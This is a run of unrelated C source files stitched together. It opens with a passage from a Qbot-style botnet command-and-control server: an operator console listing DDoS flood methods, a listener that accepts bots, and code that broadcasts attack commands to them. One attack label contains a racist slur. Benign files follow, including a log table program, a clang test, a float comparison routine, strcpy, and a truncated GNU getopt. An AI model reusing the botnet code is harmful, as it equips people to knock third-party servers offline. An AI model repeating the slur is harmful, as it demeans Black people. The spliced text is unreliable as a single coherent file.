sprintf(ls2, "\e[1;35m β \e[1;33mDreams \e[1;35mβ \r\n");
sprintf(ls3, "\e[1;35m β \e[1;33mA P I Hub \e[1;35mβ \r\n");
sprintf(ls4, "\e[1;31m ββββββββββ©ββββββββββββββββββββββ©βββββββββ\r\n");
sprintf(ls5, "\e[1;31m β\e[37m!* RIP [IP] [PORT] [TIME] \e[1;35mβ\r\n");
sprintf(ls6, "\e[1;31m β\e[37m!* ZAP [IP] [PORT] [TIME] \e[1;35mβ\r\n");
sprintf(ls7, "\e[1;31m β\e[37m!* DEATH [IP] [PORT] [TIME] \e[1;35mβ\r\n");
sprintf(ls8, "\e[1;31m β\e[37m!* KILLALL [IP] [PORT] [TIME] \e[1;35mβ\r\n");
sprintf(ls9, "\e[1;31m βββββββββββββββββββββββββββββββββββββββββ\r\n");
if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls5, strlen(ls5), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls6, strlen(ls6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls7, strlen(ls7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls8, strlen(ls8), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls9, strlen(ls9), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "special") || strstr(buf, "SPECIAL") || strstr(buf, "Special")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char ls2 [800];
char ls3 [800];
char ls4 [800];
char ls6 [800];
char ls7 [800];
char ls8 [800];
char ls9 [800];
char ls10 [800];
char ls11 [800];
char ls12 [800];
char ls13 [800];
sprintf(ls2, "\e[1;35m βββββββββββββββββββββββ \r\n");
sprintf(ls3, "\e[1;35m β \e[1;33mDreams \e[1;35mβ \r\n");
sprintf(ls4, "\e[1;35m β \e[1;33mSpecial Hub \e[1;35mβ \r\n");
sprintf(ls6, "\e[1;35m ββββββββββ©ββββββββββββββββββββββ©βββββββββ\r\n");
sprintf(ls7, "\e[1;35m β\e[37m!* OVH-KISS [IP] [PORT] [TIME] 1024 \e[1;35mβ\r\n");
sprintf(ls8, "\e[1;35m β\e[37m!* SLAP-OVH [IP] [PORT] [TIME] 1337 \e[1;35mβ\r\n");
sprintf(ls9, "\e[1;35m β\e[37m!* VPN-NULL [IP] [PORT] [TIME] 1460 \e[1;35mβ\r\n");
sprintf(ls10, "\e[1;35m β\e[37m!* NFO [IP] [PORT] [TIME] 1604 \e[1;35mβ\r\n");
sprintf(ls11, "\e[1;35m β\e[37m!* HYDRA [IP] [PORT] [TIME] 9999 \e[1;35mβ\r\n");
sprintf(ls12, "\e[1;35m β\e[37m!* NUKE [IP] [PORT] [TIME] \e[1;35mβ\r\n");
sprintf(ls13, "\e[1;35m βββββββββββββββββββββββββββββββββββββββββ\r\n");
if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls6, strlen(ls6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls7, strlen(ls7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls8, strlen(ls8), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls9, strlen(ls9), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls10, strlen(ls10), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls11, strlen(ls11), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls12, strlen(ls12), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls13, strlen(ls13), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "L7") || strstr(buf, "l7") || strstr(buf, "website")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char ls2 [800];
char ls3 [800];
char ls4 [800];
char ls6 [800];
char ls7 [800];
char ls8 [800];
char ls9 [800];
char ls10 [800]; // \e[1;33m
char ls11 [800];
char ls12 [800];
char ls13 [800];
sprintf(ls2, "\e[1;35m βββββββββββββββββββββββ \r\n");
sprintf(ls3, "\e[1;35m β \e[1;33mDreams \e[1;35mβ \r\n");
sprintf(ls4, "\e[1;35m β \e[1;33mTCP Methods Hub \e[1;35mβ \r\n");
sprintf(ls6, "\e[1;35m ββββββββββ©ββββββββββββββββββββββ©βββββββββ\r\n");
sprintf(ls7, "\e[1;35m β\e[1;33m!* TCP [IP] [PORT] [TIME] 32 syn 0 10 \e[1;35mβ\r\n");
sprintf(ls8, "\e[1;35m β\e[1;33m!* TCP [IP] [PORT] [TIME] 32 ack 0 10 \e[1;35mβ\r\n");
sprintf(ls9, "\e[1;35m β\e[1;33m!* TCP [IP] [PORT] [TIME] 32 fin 0 10 \e[1;35mβ\r\n");
sprintf(ls10, "\e[1;35m β\e[1;33m!* TCP [IP] [PORT] [TIME] 32 rst 0 10 \e[1;35mβ\r\n");
sprintf(ls11, "\e[1;35m β\e[1;33m!* TCP [IP] [PORT] [TIME] 32 psh 0 10 \e[1;35mβ\r\n");
sprintf(ls12, "\e[1;35m β\e[1;33m!* TCP [IP] [PORT] [TIME] 32 all 0 10 \e[1;35mβ\r\n");
sprintf(ls13, "\e[1;35m βββββββββββββββββββββββββββββββββββββββββ\r\n");
if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls6, strlen(ls6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls7, strlen(ls7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls8, strlen(ls8), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls9, strlen(ls9), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls10, strlen(ls10), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls11, strlen(ls11), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls12, strlen(ls12), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls13, strlen(ls13), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "!* STOP") || strstr(buf, "!* Stop") || strstr(buf, "!* stop"))
{
char killattack [2048];
memset(killattack, 0, 2048);
char killattack_msg [2048];
sprintf(killattack, "\e[0m Stopping Attacks...\r\n");
broadcast(killattack, datafd, "output.");
if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
while(1) {
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
break;
}
continue;
}
if(strstr(buf, "!* UDP"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mUDP \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* TCP"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mTCP \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* NFO"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mNFO \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* SLAP-OVH"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mOVH Bypass [Server 666] \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* VPN-NULL"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mVPN [Server 1337] \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* OVH-KISS"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mOVH Bypass [Superman Qbot Method That Kaiten Took] \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* NUKE"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mNUKE [Superman Qbot API] \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* VSE"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mGAME SERVER \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* STDHEX"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mSTDHEX \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* JUNK"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mJUNK \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* HOLD"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mHOLD \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* KKK"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mKill The Blacks \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* HYDRA"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mHydra Bypass [Superman Qbot API] \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* LDAP"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mLDAP \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* NTP"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mNTP \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* CHARGEN"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mCHARGEN \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* RIP"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mRIP [Superman Qbot API] \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* ZAP"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mZAP [Superman Qbot API] \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* DEATH"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mDEATH [Superman Qbot API] \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "!* KILLALL"))
{
sprintf(botnet, "\x1b[1;31m[\x1b[1;36mSuperSec\x1b[1;33m] Sending \x1b[1;33mKILLALL [Superman Qbot API] \x1b[1;31mAttack\r\n");
if(send(datafd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
}
if(strstr(buf, "CLEAR") || strstr(buf, "clear") || strstr(buf, "Clear") || strstr(buf, "cls") || strstr(buf, "CLS") || strstr(buf, "Cls")) {
char clearscreen [2048];
memset(clearscreen, 0, 2048);
sprintf(clearscreen, "\033[2J\033[1;1H");
if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line0, strlen(ascii_banner_line0), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
while(1) {
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
break;
}
continue;
}
if(strstr(buf, "logout") || strstr(buf, "LOGOUT") || strstr(buf, "Logout") || strstr(buf, "ext") || strstr(buf, "EXIT") || strstr(buf, "exit")) {
char logoutmessage [2048];
memset(logoutmessage, 0, 2048);
sprintf(logoutmessage, "\e[1;36m Good Bye!", accounts[find_line].username);
if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
sleep(2);
goto end;
}
trim(buf);
char input [5000];
sprintf(input, "\e[1;31mSuperSec~#");
if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
if(strlen(buf) == 0) continue;
printf("%s: \"%s\"\n",accounts[find_line].username, buf);
FILE *LogFile;
LogFile = fopen("server_history.log", "a");
time_t now;
struct tm *gmt;
char formatted_gmt [50];
char lcltime[50];
now = time(NULL);
gmt = gmtime(&now);
strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
fprintf(LogFile, "[%s]: %s\n", formatted_gmt, buf);
fclose(LogFile);
broadcast(buf, datafd, accounts[find_line].username);
memset(buf, 0, 2048);
}
end:
managements[datafd].connected = 0;
close(datafd);
OperatorsConnected--;
}
/*STARCODE*/
void *BotListener(int port) {
int sockfd, newsockfd;
socklen_t clilen;
struct sockaddr_in serv_addr, cli_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) perror("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
listen(sockfd,5);
clilen = sizeof(cli_addr);
while(1) {
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0) perror("ERROR on accept");
pthread_t thread;
pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
}}
int main (int argc, char *argv[], void *sock) {
signal(SIGPIPE, SIG_IGN);
int s, threads, port;
struct epoll_event event;
if (argc != 4) {
fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
exit (EXIT_FAILURE);
}
port = atoi(argv[3]);
threads = atoi(argv[2]);
listenFD = create_and_bind (argv[1]);
if (listenFD == -1) abort ();
s = make_socket_non_blocking (listenFD);
if (s == -1) abort ();
s = listen (listenFD, SOMAXCONN);
if (s == -1) {
perror ("listen");
abort ();
}
epollFD = epoll_create1 (0);
if (epollFD == -1) {
perror ("epoll_create");
abort ();
}
event.data.fd = listenFD;
event.events = EPOLLIN | EPOLLET;
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
if (s == -1) {
perror ("epoll_ctl");
abort ();
}
pthread_t thread[threads + 2];
while(threads--) {
pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
}
pthread_create(&thread[0], NULL, &BotListener, port);
while(1) {
broadcast("PING", -1, "ZERO");
sleep(60);
}
close (listenFD);
return EXIT_SUCCESS;
}
|
the_stack_data/103328.c | #include <stdio.h>
//#include <math.h>
int lg(int N) {
int i;
for (i = 0; N > 0; i++, N /= 2);
return i;
}
main() {
int i, N;
printf("%7s %7s %12s\n", "N", "lg(N)", "N * lg(N)");
printf("-------------------------------\n");
for (i = 1, N = 10; i <= 6; i++, N *= 10) {
printf("%7d %7d %12d\n", N, lg(N), N * lg(N));
}
// printf("log2(10) : %f", log2(10));
}
|
the_stack_data/722310.c | // RUN: %clang_cc1 -fsyntax-only -verify %s
int i;
int a[] = {0};
struct { int i; } s;
int *array[] = {&i, a, &s.i};
extern void f(void);
void (*f_addr)(void) = &f;
|
the_stack_data/231394138.c | /*-------------------------------------------------------------------------
_fsgt.c - Floating point library in optimized assembly for 8051
Copyright (c) 2004, Paul Stoffregen, [email protected]
This library is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2, or (at your option) any
later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this library; see the file COPYING. If not, write to the
Free Software Foundation, 51 Franklin Street, Fifth Floor, Boston,
MA 02110-1301, USA.
As a special exception, if you link this library with other files,
some of which are compiled with SDCC, to produce an executable,
this library does not by itself cause the resulting executable to
be covered by the GNU General Public License. This exception does
not however invalidate any other reasons why the executable file
might be covered by the GNU General Public License.
-------------------------------------------------------------------------*/
#include <float.h>
/*
** libgcc support for software floating point.
** Copyright (C) 1991 by Pipeline Associates, Inc. All rights reserved.
** Permission is granted to do *anything* you want with this file,
** commercial or otherwise, provided this message remains intact. So there!
** I would appreciate receiving any updates/patches/changes that anyone
** makes, and am willing to be the repository for said changes (am I
** making a big mistake?).
**
** Pat Wood
** Pipeline Associates, Inc.
** [email protected] or
** sun!pipeline!phw or
** uunet!motown!pipeline!phw
*/
/* (c)2000/2001: hacked a little by [email protected] for sdcc */
union float_long
{
float f;
long l;
};
/* compare two floats */
char __fsgt (float a1, float a2)
{
volatile union float_long fl1, fl2;
fl1.f = a1;
fl2.f = a2;
if (((fl1.l | fl2.l) & 0x7FFFFFFF) == 0)
return (0);
if (fl1.l<0 && fl2.l<0) {
if (fl2.l > fl1.l)
return (1);
return (0);
}
if (fl1.l > fl2.l)
return (1);
return (0);
}
|
the_stack_data/232955008.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strcpy.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: bbatumik <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/09/11 17:23:22 by bbatumik #+# #+# */
/* Updated: 2019/09/14 13:15:32 by bbatumik ### ########.fr */
/* */
/* ************************************************************************** */
char *ft_strcpy(char *dest, char *src)
{
int i;
i = 0;
while (src[i] != '\0')
{
dest[i] = src[i];
i++;
}
dest[i] = '\0';
return (dest);
}
|
the_stack_data/37638286.c | /* Getopt for GNU.
NOTE: getopt is now part of the C library, so if you don't know what
"Keep this file name-space clean" means, talk to [email protected]
before changing it!
Copyright (C) 1987, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98
Free Software Foundation, Inc.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public License as
published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
You should have received a copy of the GNU Library General Public
License along with the GNU C Library; see the file COPYING.LIB. If not,
write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
Boston, MA 02111-1307, USA. */
/* This tells Alpha OSF/1 not to define a getopt prototype in <stdio.h>.
Ditto for AIX 3.2 and <stdlib.h>. */
#ifndef _NO_PROTO
# define _NO_PROTO
#endif
#ifdef HAVE_CONFIG_H
# include <config.h>
#endif
#if !defined __STDC__ || !__STDC__
/* This is a separate conditional since some stdc systems
reject `defined (const)'. */
# ifndef const
# define const
# endif
#endif
#include <stdio.h>
/* Comment out all this code if we are using the GNU C Library, and are not
actually compiling the library itself. This code is part of the GNU C
Library, but also included in many other GNU distributions. Compiling
and linking in this code is a waste when using the GNU C library
(especially if it is a shared library). Rather than having every GNU
program understand `configure --with-gnu-libc' and omit the object files,
it is simpler to just do this in the source for each such file. */
#define GETOPT_INTERFACE_VERSION 2
#if !defined _LIBC && defined __GLIBC__ && __GLIBC__ >= 2
# include <gnu-versions.h>
# if _GNU_GETOPT_INTERFACE_VERSION == GETOPT_INTERFACE_VERSION
# define ELIDE_CODE
# endif
#endif
#ifndef ELIDE_CODE
/* This needs to come after some library #include
to get __GNU_LIBRARY__ defined. */
#ifdef __GNU_LIBRARY__
/* Don't include stdlib.h for non-GNU C libraries because some of them
contain conflicting prototypes for getopt. */
# include <stdlib.h>
# include <unistd.h>
#endif /* GNU C library. */
#ifdef VMS
# include <unixlib.h>
# if HAVE_STRING_H - 0
# include <string.h>
# endif
#endif
#ifndef _
/* This is for other GNU distributions with internationalized messages.
When compiling libc, the _ macro is predefined. */
# ifdef HAVE_LIBINTL_H
# include <libintl.h>
# define _(msgid) gettext (msgid)
# else
# define _(msgid) (msgid)
# endif
#endif
/* This version of `getopt' appears to the caller like standard Unix `getopt'
but it behaves differently for the user, since it allows the user
to intersperse the options with the other arguments.
As `getopt' works, it permutes the elements of ARGV so that,
when it is done, all the options precede everything else. Thus
all application programs are extended to handle flexible argument order.
Setting the environment variable POSIXLY_CORRECT disables permutation.
Then the behavior is completely standard.
GNU application programs can use a third alternative mode in which
they can distinguish the relative order of options and other arguments. */
#include "getopt.h"
/* For communication from `getopt' to the caller.
When `getopt' finds an option that takes an argument,
the argument value is returned here.
Also, when `ordering' is RETURN_IN_ORDER,
each non-option ARGV-element is returned here. */
char *optarg = NULL;
/* Index in ARGV of the next element to be scanned.
This is used for communication to and from the caller
and for communication between successive calls to `getopt'.
On entry to `getopt', zero means this is the first call; initialize.
When `getopt' returns -1, this is the index of the first of the
non-option elements that the caller should itself scan.
Otherwise, `optind' communicates from one call to the next
how much of ARGV has been scanned so far. */
/* 1003.2 says this must be 1 before any call. */
int optind = 1;
/* Formerly, initialization of getopt depended on optind==0, which
causes problems with re-calling getopt as programs generally don't
know that. */
int __getopt_initialized = 0;
/* The next char to be scanned in the option-element
in which the last option character we returned was found.
This allows us to pick up the scan where we left off.
If this is zero, or a null string, it means resume the scan
by advancing to the next ARGV-element. */
static char *nextchar;
/* Callers store zero here to inhibit the error message
for unrecognized options. */
int opterr = 1;
/* Set to an option character which was unrecognized.
This must be initialized on some systems to avoid linking in the
system's own getopt implementation. */
int optopt = '?';
/* Describe how to deal with options that follow non-option ARGV-elements.
If the caller did not specify anything,
the default is REQUIRE_ORDER if the environment variable
POSIXLY_CORRECT is defined, PERMUTE otherwise.
REQUIRE_ORDER means don't recognize them as options;
stop option processing when the first non-option is seen.
This is what Unix does.
This mode of operation is selected by either setting the environment
variable POSIXLY_CORRECT, or using `+' as the first character
of the list of option characters.
PERMUTE is the default. We permute the contents of ARGV as we scan,
so that eventually all the non-options are at the end. This allows options
to be given in any order, even with programs that were not written to
expect this.
RETURN_IN_ORDER is an option available to programs that were written
to expect options and other ARGV-elements in any order and that care about
the ordering of the two. We describe each non-option ARGV-element
as if it were the argument of an option with character code 1.
Using `-' as the first character of the list of option characters
selects this mode of operation.
The special argument `--' forces an end of option-scanning regardless
of the value of `ordering'. In the case of RETURN_IN_ORDER, only
`--' can cause `getopt' to return -1 with `optind' != ARGC. */
static enum
{
REQUIRE_ORDER, PERMUTE, RETURN_IN_ORDER
} ordering;
/* Value of POSIXLY_CORRECT environment variable. */
static char *posixly_correct;
#ifdef __GNU_LIBRARY__
/* We want to avoid inclusion of string.h with non-GNU libraries
because there are many ways it can cause trouble.
On some systems, it contains special magic macros that don't work
in GCC. */
# include <string.h>
# define my_index strchr
#else
# if HAVE_STRING_H
# include <string.h>
# else
# include <strings.h>
# endif
/* Avoid depending on library functions or files
whose names are inconsistent. */
#ifndef getenv
extern char *getenv ();
#endif
static char *
my_index (str, chr)
const char *str;
int chr;
{
while (*str)
{
if (*str == chr)
return (char *) str;
str++;
}
return 0;
}
/* If using GCC, we can safely declare strlen this way.
If not using GCC, it is ok not to declare it. */
#ifdef __GNUC__
/* Note that Motorola Delta 68k R3V7 comes with GCC but not stddef.h.
That was relevant to code that was here before. */
# if (!defined __STDC__ || !__STDC__) && !defined strlen
/* gcc with -traditional declares the built-in strlen to return int,
and has done so at least since version 2.4.5. -- rms. */
extern int strlen (const char *);
# endif /* not __STDC__ */
#endif /* __GNUC__ */
#endif /* not __GNU_LIBRARY__ */
/* Handle permutation of arguments. */
/* Describe the part of ARGV that contains non-options that have
been skipped. `first_nonopt' is the index in ARGV of the first of them;
`last_nonopt' is the index after the last of them. */
static int first_nonopt;
static int last_nonopt;
#ifdef _LIBC
/* Bash 2.0 gives us an environment variable containing flags
indicating ARGV elements that should not be considered arguments. */
/* Defined in getopt_init.c */
extern char *__getopt_nonoption_flags;
static int nonoption_flags_max_len;
static int nonoption_flags_len;
static int original_argc;
static char *const *original_argv;
/* Make sure the environment variable bash 2.0 puts in the environment
is valid for the getopt call we must make sure that the ARGV passed
to getopt is that one passed to the process. */
static void
__attribute__ ((unused))
store_args_and_env (int argc, char *const *argv)
{
/* XXX This is no good solution. We should rather copy the args so
that we can compare them later. But we must not use malloc(3). */
original_argc = argc;
original_argv = argv;
}
# ifdef text_set_element
text_set_element (__libc_subinit, store_args_and_env);
# endif /* text_set_element */
# define SWAP_FLAGS(ch1, ch2) \
if (nonoption_flags_len > 0) \
{ \
char __tmp = __getopt_nonoption_flags[ch1]; \
__getopt_nonoption_flags[ch1] = __getopt_nonoption_flags[ch2]; \
__getopt_nonoption_flags[ch2] = __tmp; \
}
#else /* !_LIBC */
# define SWAP_FLAGS(ch1, ch2)
#endif /* _LIBC */
/* Exchange two adjacent subsequences of ARGV.
One subsequence is elements [first_nonopt,last_nonopt)
which contains all the non-options that have been skipped so far.
The other is elements [last_nonopt,optind), which contains all
the options processed since those non-options were skipped.
`first_nonopt' and `last_nonopt' are relocated so that they describe
the new indices of the non-options in ARGV after they are moved. */
#if defined __STDC__ && __STDC__
static void exchange (char **);
#endif
static void
exchange (argv)
char **argv;
{
int bottom = first_nonopt;
int middle = last_nonopt;
int top = optind;
char *tem;
/* Exchange the shorter segment with the far end of the longer segment.
That puts the shorter segment into the right place.
It leaves the longer segment in the right place overall,
but it consists of two parts that need to be swapped next. */
#ifdef _LIBC
/* First make sure the handling of the `__getopt_nonoption_flags'
string can work normally. Our top argument must be in the range
of the string. */
if (nonoption_flags_len > 0 && top >= nonoption_flags_max_len)
{
/* We must extend the array. The user plays games with us and
presents new arguments. */
char *new_str = malloc (top + 1);
if (new_str == NULL)
nonoption_flags_len = nonoption_flags_max_len = 0;
else
{
memset (__mempcpy (new_str, __getopt_nonoption_flags,
nonoption_flags_max_len),
'\0', top + 1 - nonoption_flags_max_len);
nonoption_flags_max_len = top + 1;
__getopt_nonoption_flags = new_str;
}
}
#endif
while (top > middle && middle > bottom)
{
if (top - middle > middle - bottom)
{
/* Bottom segment is the short one. */
int len = middle - bottom;
register int i;
/* Swap it with the top part of the top segment. */
for (i = 0; i < len; i++)
{
tem = argv[bottom + i];
argv[bottom + i] = argv[top - (middle - bottom) + i];
argv[top - (middle - bottom) + i] = tem;
SWAP_FLAGS (bottom + i, top - (middle - bottom) + i);
}
/* Exclude the moved bottom segment from further swapping. */
top -= len;
}
else
{
/* Top segment is the short one. */
int len = top - middle;
register int i;
/* Swap it with the bottom part of the bottom segment. */
for (i = 0; i < len; i++)
{
tem = argv[bottom + i];
argv[bottom + i] = argv[middle + i];
argv[middle + i] = tem;
